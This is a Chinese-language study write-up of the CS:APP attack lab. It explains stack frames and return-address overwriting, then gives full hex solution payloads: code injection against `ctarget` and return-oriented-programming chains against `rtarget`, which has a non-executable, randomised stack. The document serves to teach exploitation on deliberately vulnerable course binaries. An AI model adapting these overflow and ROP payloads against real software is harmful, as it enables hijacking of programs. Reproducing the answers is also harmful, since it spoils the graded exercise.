# Attack lab 紀錄 contributed by < `justapig9020` > ###### tags: `CSAPP` ## Link [attack lab](http://csapp.cs.cmu.edu/3e/labs.html) ## Lab 說明 題目給予兩支已編譯好的 binary 檔案 `ctarget` `rtarget` 。每個 binary 共有 3 個題目, `touch1` , `touch2` , `touch3` 。我們的目標是透過 buffer overflow 的漏洞 hijack 程式,並執行 `touch*` 並通過其中的檢查,最後執行 validate function 。 其中 `ctarget` 預期使用 code/command injection 來解決。 而 `rtarget` 則須使用 return oriented programming ( ROP ) 來解決。 解題時,需要對 stdin 輸入精確的數值,且多數數值不為 ascii 的可視字元。因此, lab 有提供一工具 `hex2raw` 可以輸入的 ascii hex 數字,轉成對應的 hex 值,並輸出至 stdout 。 舉例來說,若對 `hex2raw` 輸入 61 ,則其會輸出 a (也就是輸出 0x61 這個數值)。如此一來,我們便可以透過 `hex2raw` 來轉換出不可視字元。 根據 README 建議,可以將答案以 ascii hex 的方式,存放在一純文字檔,並透過以下方式轉成 raw hex 並餵給目標 binary 。以下指令會將 `povit-ctarget.l1` 中的 ascii hex 透過 `hex2raw` 轉成 raw hex ,再餵給 `ctarget` : ```shell $ cat povit-ctarget.l1 | ./hex2raw | ./ctarget -q ``` :::info 程式涉及自動評分,由於自修者沒有辦法造訪自動評分的伺服器,因此在執行時需要透過 `-q` 參數來停用自動評分的功能。 用法如下: ```shell $ ./ctarget -q ``` 若是要使用 gdb 來追蹤程式執行,則需要使用如下指令: ```shell $ gdb --args ./ctarget -q ``` ::: ## Lab 實做 ### 程式流程 在程式執行之後,在經過一些函數呼叫後,最後會呼叫 `getbuf`。在 `getbuf` 中會呼叫 `Gets` 函數。 `Gets` 函數便是漏洞所在, `Gets` 函數原型為 ```c char* Gets(char* s); ``` 其功能為:從 stdin 讀取字元,並將讀取到的字元存入 `s` 中。直到 EOF 或是讀到換行字元 `\n` 為止。 ### 漏洞 因為 `Gets` 並未對 buffer `s` 的長度做檢驗,因此當使用者輸入字元數大於 buffer 長度時,便會產生 buffer overflow 。過多的資料將會超出 buffer 的空間,並覆蓋掉其他資料。 接著,要來了解 x86 的資料在 stack 上的存放狀況。 :::info 由於題目在編譯時,應該是有加入 -fomit-frame-pointer 的選項。因此 stack 的狀態比起常見的 layout 會少一個存放 rbp 的空間。 ::: `Stack` 是 process 用以存放區域變數的空間,其位置由 `stack pointer` ( 在 amd64 架構中為 `RSP` ) 紀錄,邏輯上 `RSP` 會保持指向 stack 的頂端。 雖然 stack 是一連續記憶體空間,但是邏輯上會依照存放的資料屬於哪個 function 來將空間分區,同一 function 的區域變數會緊鄰在一起,我們會將這樣的區塊稱為 `stack frame` 。 在進行 function call 時,會延伸 stack 空間,分配出新的 `stack frame` 。這個步驟實際上只是透過改變 `RSP` 中的數值,使其指向新的 stack 頂端。 1. 分配前的狀態, `RSP` 指向當前 stack 的頂端。 ![](https://i.imgur.com/d55QCrp.png) 2. 透過改變 `RSP` 內的值,使其指向新的位址。如此一來 stack 的空間便增加了。而多出來的空間便是新的 stack frame 。 ![](https://i.imgur.com/XEBCIYg.png) 上述行為在組合語言中觀察到,舉例來說,在 `getbuf` function 中具有以下指令: ```asm 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub rsp,0x28 ``` 由於 `Stack` 是由高位址往低位址延伸,因此將 `RSP` 減少 0x28 在概念上就是將 stack 增加 0x28 個 byte 。 而在 stack 上,除了區域變數外,還存放著其他資料。如下圖所示: ![](https://i.imgur.com/o9DIgIo.png) [source](https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558) 除了區域變數外, stack 這塊空間中還負責保存函數的參數,上一個 stack frame 的 base address (在本 lab 中因為未啟用 frame pointer ,因此 stack 上並未保存此數值),以及當前 function 的 return address 。 其中我們感興趣的數值為 return address 。 首先,先來了解 return address 是如何被保存在 stack 上的。 透過觀察組合語言程式,可以發現 amd64 在進行 function call 時,使用的是 `call` 這個指令。實際上 `call` 指令包含兩個動作 1. 將下一個指令的位址 push 至 stack 的頂端。 2. 將 `RIP` 指向目標 function 的第一個指令。 由於 `RSP` 在邏輯上指向 stack 的頂端,因此將數值 push 進 stack 的頂端實際上執行的動作為 1. 將 `RSP` 減少一單位(視硬體而定,在 x86 中,一單位為 32 bits ,在 amd64 上是 64 bits)。 2. 將目標值存入當前 `RSP` 所指向的位址。 也就是說,當 `call` 指令完成時, `RSP` 所指向的記憶體空間會存放自 function return 時所要執行的指令。 此外 `RIP` 為 amd64 架構中的 program counter 。也就是電腦會根據 `RIP` 中的數值執行該位址的指令。換言之,只要能夠控制 `RIP` 中的數值即可控制計算機要執行哪道指令。 因此在 `call` 指令將 callee 的位址載入 `RIP` 後,電腦就會接著執行 callee 。 此外,可以發現在每個 function 的最後,皆會透過 `ret` 指令返回。實際上,該指令的行為為 `pop rip` 。 首先,我們來了解何謂 `pop` 指令。如同前面的 `push` 指令, `pop` 指令便是從 stack 移除並返回資料。 因此, `pop` 指令實際上執行了兩個操作。 1. 將 `RSP` 指向的空間的值載入至指定暫存器。 2. 移動 `RSP` 使 stack 頂端減少一單位的資料 。 若將 `pop xxx` 寫作組合語言,則會是: ```asm mov xxx, QWORD PTR[rsp] add rsp, 8 ``` 因此, `ret` 指令實際上的行為為: ```asm mov rip, QWORD PTR[rsp] add rsp, 8 ``` 綜上所述,由於我們的最終目標為執行 `touch*` ,因此,我們需要控制 `RIP` 使其指向 `touch*` 的位址。而可以控制 `RIP` 的指令為 `ret` 。而 `ret` 會將 `RIP` 改為 stack 上的數值,我們則可以透過 overflow 控制 stack 上的數值。 因此,只要我們透過 `Gets` 的 buffer overflow 使得 `getbuf` 的 stack frame 上的 return address 被更改為我們所想的位址。如此一來在 `getbuf` 返回時,就會跳去我們想要執行的指令做執行。 ### ctarget touch1 首先觀察 `getbuf` 的 stack 的狀況。 ```asm 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub rsp,0x28 4017ac: 48 89 e7 mov rdi,rsp 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov eax,0x1 4017b9: 48 83 c4 28 add rsp,0x28 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop ``` 可以發現,在函數的開頭, `getbuf` 首先將 `RSP` 減少了 0x28 ,也就是 `getbuf` 函數的 stack frame 具有 0x28 個 byte 。由於在函數的一開始時,也就是剛執行完 `call` 指令時,此時 `RSP` 所指向的位址存放的值為 return address 。因此,可以得知,當 `RSP` 減去 0x28 之後, return address 目前處在 `RSP` + 0x28 的位址。 至此可以寫出 `getbuf` 函數,如下: ```c= void getbuf() { char buf[0x28]; Gets(buf); } ``` 因此我們只要使 `Gets` ,先讀入 0x28 個任意字元(此時 buffer 以滿,接下來的讀入皆是 overflow),再讀入 touch1 的位址(0x4017c0)即可。 解答: ``` 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 c0 17 40 00 00 00 00 00 ``` ### ctarget touch2 touch2 的組合語言如下: ```asm 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub rsp,0x8 4017f0: 89 fa mov edx,edi 4017f2: c7 05 e0 2c 20 00 02 mov DWORD PTR [rip+0x202ce0],0x2 # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp edi,DWORD PTR [rip+0x202ce2] # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov esi,0x4030e8 401809: bf 01 00 00 00 mov edi,0x1 40180e: b8 00 00 00 00 mov eax,0x0 401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov edi,0x2 40181d: e8 6b 04 00 00 call 401c8d <validate> ... ``` 可以看出, touch2 判斷 `EDI` 內的值是否與給定的 cookie (0x59b997fa) 相同。 本題的思路為 code injection 至 stack 上,以此改變 `EDI` 的值。 插入的指令如下: ```asm pop rdi ret ``` 在透過覆蓋 return address 執行該指令。 最終 `getbuf` 的 stack frame 會如下: |pop rdi| |-| |ret| |junk(塞滿 0x28 bytes 的垃圾資料)| |address of pop rdi(原 return address)| |cookie(0x59b997fa)| |address of touch2| 當 `getbuf` return 時,首先會 return 到 pop rdi ,此時 `RSP` 指向的是 return address 的下一位,也就是 cookie 。此時執行 pop rdi 便會將 cookie pop 至 rdi 內。接著執行 ret ,此時 `RSP` 指向 cookie 的下一位,因此會 return 至 touch2 。 解答: ``` 48 C7 C7 FA 97 B9 59 58 C3 00 00 00 00 00 00 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00 00 00 00 00 00 00 00 00 EC 17 40 00 00 00 00 00 ``` ### ctarget touch3 touch3 的組合語言如下: ```asm 00000000004018fa <touch3>: 4018fa: 53 push rbx 4018fb: 48 89 fb mov rbx,rdi 4018fe: c7 05 d4 2b 20 00 03 mov DWORD PTR [rip+0x202bd4],0x3 # 6044dc <vlevel> 401905: 00 00 00 // hexmatch(cookie, char *cookie_str) // hexmatch(cookie, rdi) 401908: 48 89 fe mov rsi,rdi 40190b: 8b 3d d3 2b 20 00 mov edi,DWORD PTR [rip+0x202bd3] # 6044e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> // if hexmatch == 0 then failed 401916: 85 c0 test eax,eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov rdx,rbx 40191d: be 38 31 40 00 mov esi,0x403138 401922: bf 01 00 00 00 mov edi,0x1 401927: b8 00 00 00 00 mov eax,0x0 40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov edi,0x3 401936: e8 52 03 00 00 call 401c8d <validate> ... ``` 其中 `hexmatch` 的原型如下: ```c int hexmatch(int hex, char *s); ``` 在 `hexmatch` 中,會透過 sscanf 將 `hex` 轉為 string 並與 `s` 做比較。 若兩個字串相同則 `hexmatch` 的返回值會使 `touch3` 成功。 其中, `s` 便是我們可以控制的部份。 與 `touch2` 不同的是,這次 `RDI` 不再直接保存 cookie 本身,而是要作為一指向 str(cookie) 的指標,保存該 string 的位址。 其實核心思路與 touch2 相同,只是要在 stack 額外保存以 ascii 編碼過的 cookie 字串。 stack 狀況如下: |pop rdi| |-| |ret| |str(cookie)| |junk| |address of pop rdi(原 return address)| |address of str(cookie)| |touch3| 首先,在 `getbuf` return 時,會執行 pop rdi ,此時由於 `RSP` 指向 `address of str(cookie)` ,因此,在 pop 後, `RDI` 內便保存了 str(cookie) 的 address ,換言之,此時 `RDI` 已經指向 str(cookie) 了。最後的 ret 會將 `RIP` 指向 `touch3`。至此針對 `touch3` 的攻擊便完成了。 解答: ``` 5F C3 35 39 62 39 39 37 66 61 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 78 DC 61 55 00 00 00 00 7A DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00 ``` :::info rtarget 在程式上與 ctarget 並無二異,然而在兩點有別於 ctarget : 1. rtarget 的 stack 只可讀寫不可執行。 2. rtarget 的 stack 位址是隨機的。 ::: ### rtarget touch1 只須覆蓋掉 return address 與 ctarget 的 touch1 完全相同。 ### rtarget touch2 由於 rtarget 的 stack 不可執行,且位置不固定,因此,無法在透過將指令寫入 stack 並 return 至指令的方式來將 `RDI` 改為指令的值。 在此必須介紹一個被稱為 return oriented programming 的技術,簡稱 ROP 。 直接將指令寫入記憶體中,實際上我們的目的只是希望能執行到特定的指令。因此我們可以透過在寄有的程式中尋找是已經有對應的指令並 return 至該指令即可。 這邊介紹一個好用的工具 [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) ,透過這個工具可以過濾出常用的 ROP 指令以及他們在程式中的位址。 透過 ROPgadget 可以發現在位址 0x40141b 具有以下指令。 ```asm pop rdi ret ``` 因此,思路與 ctarget 相同,只是這次 return 的不再是我們插入的指令而是程式既有有的指令。 stack 的狀況如下: |junk| |-| |0x40141b(address of pop rdi)| |cookie| |touch2| 解答: ``` 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 1B 14 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 F0 17 40 00 00 00 00 00 ``` ### rtarget touch3 要完成 `touch3` 需要滿足兩個條件: 1. 將 str(cookie) 寫入記憶體中 2. 使 `RDI` 指向 str(cookie) 由於在 `rtarget` 中, stack 的位址每次執行皆不相同,因此無法像 ctarget 可以事先寫好 str(cookie) 所在的位址,並將該位址寫入 stack 並 pop 至 `RDI` 。 透過發現, `rtarget` 在執行時,每次的 `data` segment 位址皆是固定的。因此,我解題的思路為: 在 `data` segment 找到一固定的區域,並將寫入 stack 的 str(cookie) 搬移至該區域中,最後再將 `RDI` 指向該區域即可。 這邊我選擇的區域位址為 0x605500 ,由於透過 ROPgadget 發現以下指令: ```asm mov qword ptr [rdi + 8] rax ret ``` 因此,計畫便是,首先將 str(cookie) pop 至 `RAX` 中,並透過 mov 將 `RAX` 中的值(str(cookie))搬移至 `data` segment 上。 詳細的步驟如下: |junk| |-| |address of pop rax, ret| |str(cookie)| |address of pop rdi, ret| |0x605500 - 8| |address of mov rdi rax, ret| |address of pop rdi, ret| |0x605500| |address of pop rax, ret| |0x0| |address of mov rdi rax, ret| |touch3| 由於在 `hexmatch` 函數中,實際上會連同結束字元 `\0` 一同比對,因此在寫入 `data` segment 時,需要多花一個步驟寫入。 解答: ``` 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 ab 19 40 00 00 00 00 00 35 39 62 39 39 37 66 61 1b 14 40 00 00 00 00 00 f8 54 60 00 00 00 00 00 4d 21 40 00 00 00 00 00 1b 14 40 00 00 00 00 00 00 55 60 00 00 00 00 00 ab 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 4d 21 40 00 00 00 00 00 fb 18 40 00 00 00 00 00 ```